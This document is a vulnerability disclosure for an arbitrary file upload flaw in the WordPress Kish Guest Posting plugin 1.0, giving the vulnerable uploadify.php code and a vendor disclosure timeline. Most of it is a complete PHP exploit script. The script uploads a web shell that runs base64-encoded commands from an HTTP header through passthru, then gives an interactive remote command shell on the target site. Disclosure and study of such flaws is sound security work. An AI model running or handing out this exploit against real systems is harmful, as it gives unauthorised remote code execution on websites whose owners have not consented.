WordPress Plugin Kish Guest Posting 1.0 – Arbitrary File Upload
<?php /* -------------------------------------------------------------------------------- Wordpress Kish Guest Posting Plugin 1.0 (uploadify.php) Unrestricted File Upload -------------------------------------------------------------------------------- author............: Egidio Romano aka EgiX mail..............: n0b0d13s[at]gmail[dot]com software link.....: http://kishpress.com/guest-posting-plugin/ +-------------------------------------------------------------------------+ | This proof of concept code was written for educational purpose only. | | Use it at your own risk. Author will be not responsible for any damage. | +-------------------------------------------------------------------------+ [-] vulnerable code in /uploadify/scripts/uploadify.php 26. if (!empty($_FILES)) { 27. $tempFile = $_FILES['Filedata']['tmp_name']; 28. $targetPath = $_SERVER['DOCUMENT_ROOT'] . $_REQUEST['folder'] . '/'; 29. $targetFile = str_replace('//','/',$targetPath) . $_FILES['Filedata']['name']; 30. // $fileTypes = str_replace('*.','',$_REQUEST['fileext']); 31. // $fileTypes = str_replace(';','|',$fileTypes); 32. // $typesArray = split('\|',$fileTypes); 33. // $fileParts = pathinfo($_FILES['Filedata']['name']); 34. 35. // if (in_array($fileParts['extension'],$typesArray)) { 36. // Uncomment the following line if you want to make the directory if it doesn't exist 37. // mkdir(str_replace('//','/',$targetPath), 0755, true); 38. 39. move_uploaded_file($tempFile,$targetFile); 40. echo str_replace($_SERVER['DOCUMENT_ROOT'],'',$targetFile); 41. // } else { 42. // echo 'Invalid file type.'; 43. // } 44. } Restricted access to this script isn't properly realized, so an attacker might be able to upload arbitrary files containing malicious PHP code due to uploaded file extension isn't properly checked. [-] Disclosure timeline: [19/12/2011] - Vulnerability discovered [19/12/2011] - Vendor notified through http://kish.in/contact-me/ [07/01/2012] - No response from vendor, notified again via email [16/01/2012] - After four weeks still no response [23/01/2012] - Public disclosure */ error_reporting(0); set_time_limit(0); ini_set("default_socket_timeout", 5); function http_send($host, $packet) { if (!($sock = fsockopen($host, 80))) die("\n[-] No response from {$host}:80\n"); fputs($sock, $packet); return stream_get_contents($sock); } print "\n+----------------------------------------------------------------------------------+"; print "\n| Wordpress Kish Guest Posting Plugin 1.0 Unrestricted File Upload Exploit by EgiX |"; print "\n+----------------------------------------------------------------------------------+\n"; if ($argc < 3) { print "\nUsage......: php $argv[0] <host> <path>\n"; print "\nExample....: php $argv[0] localhost /"; print "\nExample....: php $argv[0] localhost /wordpress/\n"; die(); } $host = $argv[1]; $path = $argv[2]; $payload = "--o0oOo0o\r\n"; $payload .= "Content-Disposition: form-data; name=\"Filedata\"; filename=\"sh.php\"\r\n\r\n"; $payload .= "<?php error_reporting(0); print(___); passthru(base64_decode(\$_SERVER[HTTP_CMD]));\r\n"; $payload .= "--o0oOo0o--\r\n"; $packet = "POST {$path}wp-content/plugins/kish-guest-posting/uploadify/scripts/uploadify.php?folder={$path} HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Content-Length: ".strlen($payload)."\r\n"; $packet .= "Content-Type: multipart/form-data; boundary=o0oOo0o\r\n"; $packet .= "Connection: close\r\n\r\n{$payload}"; if (!preg_match('/sh.php/', http_send($host, $packet))) die("\n[-] Upload failed!\n"); $packet = "GET {$path}sh.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Cmd: %s\r\n"; $packet .= "Connection: close\r\n\r\n"; while(1) { print "\nkish-shell# "; if (($cmd = trim(fgets(STDIN))) == "exit") break; $response = http_send($host, sprintf($packet, base64_encode($cmd))); preg_match('/___(.*)/s', $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n"); } ?> |